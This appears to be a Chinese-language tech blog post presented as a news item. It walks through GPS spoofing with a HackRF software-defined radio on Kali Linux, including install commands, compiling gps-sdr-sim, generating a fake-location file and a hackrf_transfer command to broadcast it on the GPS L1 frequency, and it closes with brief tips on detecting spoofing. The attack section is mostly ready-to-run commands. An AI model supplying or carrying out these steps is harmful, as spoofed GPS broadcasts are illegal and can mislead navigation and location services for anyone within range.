某日頭條
杭州王某在家查看自己的定位時,竟發現自己位於北緯0°!某專家解釋,這是遭到了GPS劫持!為此,專家特意向我們說明了GPS是如何遭到劫持的
GPS工作原理
GPS定位本質就是GSP接收器接收GPS信號並計算出自己所在的經緯度。(這計算過程小編聽不懂,特意放出個鏈接,有興趣的自戳http://www.beidou.gov.cn/2011/08/02/20110802ea8304ab6f8149bfafa593685226aef8.html)
劫持準備
設備:hackrf
系統環境:kali linux
1. 打開終端,在終端中輸入以下命令,在kali下安裝hackrf的驅動和環境。
sudo apt-get install hackrf libhackrf-dev libhackrf0
2. 安裝完畢,插上hackrf,運行以下命令
hackrf_info
可查看hackrf的基本情況如下所示:
3. 接下來安裝一些其他軟件,在終端輸入以下命令,就會將所需要的軟件安裝成功:
apt-get install gnuradio gnuradio-dev gr-osmosdr gr-osmosdr gqrx-sdr wireshark
4. 安裝成功後,就可以將hackrf的GPS外部時鐘安裝上,安裝的圖片如下所示:
5. 安裝完畢之後,接上相應的天線連接完畢之後如下所示:
製作定位文件
1. 從git上面下載所需的軟件gps-sdr-sim並且對這個軟件進行編譯,生成可執行文件。在終端輸入如下命令即可:
Git clone https://github.com/osqzss/gps-sdr-sim.git
cd gps-sdr-sim
gcc gpssim.c -lm -O3 -o gps-sdr-sim
(看不懂沒關係,耐不住咱會敲鍵盤呀!)
2. 挑選一個經緯度,這裡選擇經度66°,緯度66°。在當前目錄下,終端上執行如下命令,製作定位文件:
./gps-sdr-sim -e brdc3540.14n -l 66,66,100 -b 8 -d 100
實施劫持
讓hackrf將這個文件中的內容發射出去。
這裡需要注意的是由於現在的手機基本上都採用GPS定位,基站網格定位,和Wifi定位3種方式合一,所以這裡需要使手機處於飛行模式才可以。在終端輸入如下命令,其中1575420000指定的是發射的頻率,而2600000是採樣頻率:
hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 0
我們可以發現,在欺騙成功後,連接的衛星數量會有明顯的上升。這是因為我們假冒了其中很多的衛星。
GPS劫持前
GPS劫持後
現在可以看到,GPS劫持後,百度地圖定位結果已經不對了,厲害了我的GPS
Tips
GPS有風險,使用時我們該如何分辨GPS的真偽呢?
1. 根據GPS信號的強度區分。如果GPS的欺騙信號是從單一的設備中發出的,那麼其信號的強度很可能是一直的,而在正常的通訊環境下,不同GPS信號不會有如此相似的信號強度。
2. 根據GPS信號數目區分。因為GPS信號是偽造出來的,而且需要至少偽造出來三個,而一般地來說,為了使得欺騙成功,偽造的GPS信號數目是越多越好的,所以如果GPS信號的數目突然增加了很多,那麼很可能遭到了GPS欺騙。
3. 根據時間區分。GPS信號具有衛星授時的功能。而GPS信號的偽造一般需要獲取到某一天GPS衛星的運行報文,在這個基礎上進行偽造。所以這樣的偽造出來的衛星授時的時間一定是所採用報文的時間而不是正常時間,所以在聯網設備中只需要對衛星授時時間進行比對,就可以知道是否遭到了GPS欺騙。
以上便是我們關於GPS劫持的全部內容了,希望大家對任何事都保持高度的警惕,畢竟能相信的
只~有~自~己~
有~自~己~
自~己~
己~